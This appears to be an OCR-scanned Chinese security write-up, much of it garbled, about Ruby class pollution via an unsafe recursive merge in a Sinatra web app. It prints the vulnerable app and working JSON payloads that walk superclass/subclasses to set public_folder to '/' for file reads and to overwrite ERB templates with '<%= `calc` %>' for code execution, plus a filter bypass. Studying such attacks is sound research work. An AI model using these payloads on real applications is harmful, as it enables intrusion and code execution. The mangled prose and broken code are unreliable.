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class
attr_accessor :name, :age, :details

def (name:, age:, details:)
@name = name
@age = age
@details = details

end
def (additional)
recursive_merge(self, additional)
end
end
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initialize : RIS
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inspect : ] to_s ZEAE, EFRTF debug

method_missing : 3L PHP RY __call__ 75i%, SEB— M EFENGERNSMA

respond_to? : MMNREBRBREANTETHEM
send : TRIEGEARRAR (BFEFABHEX)
public_send : 1RIBHEBRBAATGE
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class

attr_accessor :

name, :age, :details

def (name:, age:, details:)
@name = name
@age = age
@details = details
end
end
class < Person
def (name:, age:, details:)
super(name: name, age: age, details: details)
end
end
user = .new(

name: "John Doe",

age: 30,
details: {

"occupation" => "Engineer",
"location" => {
"city" => "Madrid",

"country" => "Spain"

}

puts user.class

puts user.class.superclass

puts user.class.superclass
puts user.class.superclass
puts user.class.superclass
puts user.class.superclass

BHERD BT

User

Person
Object
BasicObject

Person
Net: :HTTPResponse
Net: :HTTPResponse

::Inflater

Zlib: :GzipFile (sample)

BBARAZ BRSESRMEIBIT superclass . subclasses. sample SREIHHFEIRZE object , PIEER

ERIR, NRFBESHFE.
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.superclass
.superclass
.superclass
.superclass

.superclass
.subclasses
.subclasses.sample
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def (additional)
recursive_merge(self, additional)

end
private
def (original, additional, current_obj = original)
additional.each do |key, valuel
if value.is_a?( )
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = .new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?( )
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end

recursive_merge FAFIRITFMEFAENITHR original F additional

B additional XISAHIEMEERT.

WIBERERIGE . RER—NMEH, BSME current_obj (F4E/9 original ) SEMAIZHE. NRIDLL,
MBFEHHZERNSS. WRAMEE, NelE—NMNxtsR, BHIREALFIZE, HAHCIEHREES.
QIRIENSZS(E: MREARKRE, WEREE current_obj HIREZENLHIETE, FHAEOE G R,

SRR
class

attr_accessor :x

def (x)
Ox = x
end

def (additional)
recursive_merge(self, additional)
end

def
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
end

FEHESHL protected_methods , EDREHEFBEEN instance_eval FHTHIBHIT.
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a = A.new(1)
a.merge_with({

"protected_methods": ["‘calc'"]
B

a.check

XS SAIRISREENE, FBRRLUREASLAIRISR.

=iy
SHRRK
class
@@cmd = "puts 1"
end
class < Base
def (additional)
recursive_merge(self, additional)
end
def

eval(Base.cmd)

Ilokll
end
end

SHFXFMER, TLLUSHRRQEN cmd T2, (BIXELFR LR R Base IEINT — N EFIZEE eond , MmED
Base.cmd FARY, SCHITE ecnd M 7 RTE @ecmd

c = .new
c.merge_with({
"class": {
"superclass": {
"cmd": "‘calc'"
}
}
ED)]
c.check

puts Base.class_variables
puts Base.instance_variables

S th3E
HATTLUBIE EIRRY subclasses SIRENRERIFE, HTFEREINE—NEE, aTLRIBEER sanple B
/f, FEHLIR jilil_/\? g/":_x )_L/Aluxﬁblgéjﬁgjah'xo

Doyensec UM EHHEE TS5 Person EI’J url FLEFRFIT SSRF, LARISH: KeySigner BY signing_key ZEEg
SCHmERSZEUE. (BFINERISEIIZE SIS RCE,

ERNEPEHAIER, EAR sinatra X webtESR, BERISHUERRFRIKE L ERLIRCERE XHZEZ
SRAGIRIEE.
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# frozen_string_literal: true
require 'json'

require 'sinatra/base’
require 'net/http’

class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name

@age = age
@details = details
end

def self.url
@Qurl
end

def merge_with(additional)
recursive_merge(self, additional)
end

private

def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value]
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?(Hash)
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
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class KeySigner
@@signing_key = "default-signing—key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
set :bind , '0.0.0.0'
set :port , '7888'
post '/merge' do
content_type :json
j_str = request.body.read
return "try try try" if j_str.include?("\\") || j_str.include?("h")

json_input = JSON.parse(j_str, symbolize_names: true)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"

}

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

get '/sign_with_subclass_key' do
content_type :json

signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data
}.to_json
end
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get '/check-infected-vars' do
content_type :json

user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

get('/') do
erb :hello
end
run! if app_file == $0
end

EKSFeEHSHER
Sinatra {EZRFEETU FEERZEFHFSEREN

set :public_folder, .dirname(__FILE__) + '/static'

B set FEARLAATMESCPRA RS Sinatra: :Base 188 7 —NEERIgetter, setter
module Sinatra
class Base

class << self
def set(option, value = (not_set = true), ignore_setter = false, &block)

setter = proc do |vall
val = value.merge val if Hash === val
set option, val, true
end
end

define_singleton( "#{option}=", setter)
define_singleton(option, getter)
define_singleton( "#{option}?", "I1#{option}") unless method_defined? "#{option}?"
self
end

class_eval BEMESENTE
def define_singleton(name, content = Proc.new)
singleton_class.class_eval do
undef_method(name) if method_defined? name
String === content ? class_eval("def #{name}() #{content}; end") : define_method(name, &content)

end

end

AULETLLSER public_folder XPNBMRIEKERSER, MIBAIBEIKEI JSONMergerApp HfY settings ZKi55
public, Z‘,m}? T RESSH public_folder jEZE,

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"settings":{"public_folder":

"/"}3333RE
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VA ATX] Sinatra::Base B templates B, HKEEIRE, BUftEFHUENRAY.
Sinatra BRIAMEIRMITF . /views BR, BIFEINTEDENIER,
module Sinatra st

module Templates
def render_ruby(engine, template, options = {}, locals = {}, &block)

end
def render(engine, data, options = {}, locals = {}, &block)

engine_options = settings.respond_to?(engine) ? settings.send(engine) : {}
options.merge! (engine_options) { | K _key, vl, _v2| vl}

locals options.delete(:locals) || locals 1 {3

views options.delete(:views) || settings.views ||

layout options[:layout]

layout false if layout.nil? && options.include?(:layout)

eat_errors layout.nil?

layout engine_options[:layout] if layout.nil? || (layout == true &% engine_options[:layout] != false)
layout @default_layout if layout.nil? || (layout == true)

layout_options options.delete(:layout_options) || {}

Sinatra » Templates

def Find_template(views, name, engine)
yield ::File.join(views, "#{name}.#{@preferred_extension}")

Tilt.default_mapping.extensions_for(engine).each do | ext]|
yield ::File.join(views, "#{name}.#{ext}") unless ext == @preferred_extension
end
end

template :index do
'%div.title Hello World!'
end

def template(name, &block)
filename, line = caller_locations.first
templates[name] = [block, filename, 1ine.to_il

end

def layout(name = :layout, &block)
template name, &block
end

BTN ERERRIEEEA

get('/') do
erb :hello
end

ERB (Embedded Ruby) 2 Ruby tREEEHN, BAFENXAXHHERN Ruby {58, BERTLEM HTML X
%, HE—MEWRS|E,




BILUSHR templates J@ME, BE hello #&HR, BT ERB &L RCE,

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= ‘calc’

%>"}}}1133}

{BERFABREE WAF, return "try try try" if j_str.include?("\\") || j_str.include?("h"), FFLAFR
BEEEERXNGE.

159 RYEES

BRI ERTHARNE, ESRTPRER, F—IXE erb BRIRAYE, MFE XHMZ render FEIFT
layout, BBAFAIEISH layout EERNABRZE, EERIABHESHRNAS, LTINS erb &
#R RCE T, FEAZAR WAF RIBRHET .

module Templates
def render{engine, data, options = {}, locals = {}, &block)
-y 1 -

s — UPLLUIIZ.USLELT L « 2LV}

exclude_outvar = options.delete(:exclude_outvar)
options.delete(:layout)

options[:outvar] ||= 'C t_buf' unless exclude_outvar
options[:default_encoding] ||= settings.default_encoding

begin
layout_was @default_la
@default_layout = false

template compile_template(engine, data, options, views)
output template.render(scope, locals, &btockﬂ

ensure
@default_layout = layout_was
end

if layout
extra_options = { views: views, layout: false, eat_errors: eat_errors, scope: scope }

options = options.merge(extra_options).merge! (layout_options)

catch(:layout_missing) { return|render(layout_engine, layout, options, locals)|{ output } }

end

Payload:

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"layout": "<%= ‘calc"’

%>"}}1333}
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